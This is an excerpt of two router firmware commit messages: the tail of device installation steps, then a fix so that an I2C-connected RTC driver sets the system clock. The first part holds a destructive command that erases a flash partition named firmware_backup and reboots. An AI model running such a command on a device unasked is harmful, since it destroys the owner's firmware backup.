$ mtd erase firmware_backup && reboot
After reboot you should be able to login as root via SSH on 192.168.1.1
Signed-off-by: ZengFei Zhang <zhangzengfei@kunteng.org>
I made a commit that added the RTC driver to the kernel config with
the intent that it would fix hctosys. Unfortunately while the RTC
driver is in there, it's connected through I2C, the driver for which
comes in module form and is thus loaded late. After this commit, it
works fine.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
